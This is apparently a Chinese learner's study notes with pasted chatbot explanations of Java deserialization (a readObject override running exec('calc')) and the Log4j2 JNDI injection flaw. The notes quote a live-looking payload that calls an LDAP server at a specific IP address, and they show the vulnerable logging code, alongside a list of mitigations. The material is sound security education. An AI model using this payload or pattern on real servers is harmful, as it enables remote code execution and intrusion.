序列化写入重写方法，反序列化的时候执行这个。
反序列化的时候会执行动作，序列化是不执行。
调用数据执行。
核心答案：所有相关执行动作（包括恶意命令、属性赋值），都是在「反序列化时」才触发执行，"一开始"（类加载、序列化阶段）完全不执行------"一开始"只做"准备工作"，不触发实际执行逻辑，具体拆解如下：
一、"一开始"（类加载、序列化阶段）：只准备，不执行
- 类加载时：仅加载类的结构（比如 readObject 方法的代码、成员变量定义），但不会执行任何实例相关的逻辑（比如 readObject 里的 exec("calc") 、成员变量赋值）。
就像把"游戏机"（类）从仓库拿出来摆好，但没按任何按键，游戏（执行逻辑）完全不启动。
- 序列化时：仅把对象的"属性值"（比如 name="test" ）存成字节流，不执行对象的任何方法（包括 readObject ），也不触发任何赋值动作。
就像给游戏存档（只存等级、装备，不触发游戏里的技能、剧情）。
二、"反序列化时"：才是真正的"执行触发点"
只有当JVM开始反序列化（读取序列化字节流、恢复对象）时，所有相关执行动作才会启动：
-
先创建一个空的对象实例（不调用构造方法）；
-
从序列化数据中读取属性值，赋值给空对象（执行"属性恢复"的赋值）；
-
若类重写了 readObject ，则自动触发该方法，里面的所有逻辑（包括 exec("calc") 、自定义赋值）都会在这个阶段执行。
比如之前的弹计算器： Runtime.getRuntime().exec("calc") 写在 readObject 里，"一开始"（类加载、序列化）时完全不执行，只有当别人把序列化的对象数据传给服务器，服务器执行反序列化时，这个命令才会被触发。
需要我帮你写一个带执行时机打印的完整代码，运行后能清晰看到"类加载、序列化、反序列化"三个阶段的日志，直观证明"只有反序列化时才执行"吗？
妈的，打了一遍，大概知道他的意思了。
调用的方法括号里面的是来自哪里。
这张图片展示的是Log4j2 JNDI注入漏洞的演示代码与攻击原理讲解，核心是通过Log4j的日志输出功能传递恶意Payload，触发JNDI注入攻击，我分点拆解关键信息：
一、代码核心逻辑
java
String code = req.getParameter("code"); // 获取前端传入的参数
log.error("{}", code); // 用Log4j输出日志，将参数带入日志模板
这段代码的风险点在于：直接将用户可控的参数 code 传入Log4j的日志输出方法，而Log4j2存在 ${} 插值解析漏洞，会解析其中的JNDI协议链接，进而执行恶意代码。
二、关键Payload解析
图片中注释的 ${jndi:ldap://47.94.236.117:1389/uyhyw6} 是典型的JNDI注入Payload，各部分作用：
-
${jndi:...} ：Log4j2的插值语法，会触发JNDI服务的查找操作；
-
ldap:// ：JNDI支持的协议之一，用于从远程服务器获取对象；
-
47.94.236.117:1389 ：攻击者搭建的LDAP恶意服务器地址和端口；
-
uyhyw6 ：恶意服务器上的恶意类标识，LDAP服务器会返回该标识对应的恶意类地址，目标服务器加载后执行恶意代码（如图片中提到的 calc 打开计算器）。
三、攻击的三个核心条件（图片注释总结）
-
引入漏洞组件：项目中使用了存在JNDI注入漏洞的Log4j2版本（如2.0-beta9至2.14.1）；
-
触发漏洞代码：开发中使用Log4j的日志输出方法（如 log.error/log.info ）处理用户输入；
-
可控变量传Payload：攻击者通过前端参数、接口请求等方式，将恶意JNDI Payload传入日志输出的变量中。
四、漏洞的危害与防护
-
危害：攻击者可通过该漏洞执行任意系统命令、加载恶意类，实现服务器入侵、数据窃取等；
-
核心防护手段：
-
升级Log4j2到安全版本（如2.17.0及以上）；
-
禁用Log4j2的JNDI插值功能（设置系统属性 log4j2.formatMsgNoLookups=true ）；
-
过滤用户输入中的 ${} 、 jndi: 等危险字符。
要不要我帮你整理一份Log4j2 JNDI注入漏洞的防护步骤清单，让你能按步骤加固项目？
搜索协议，远程加载。
执行结果。
执行点。
默认路径。
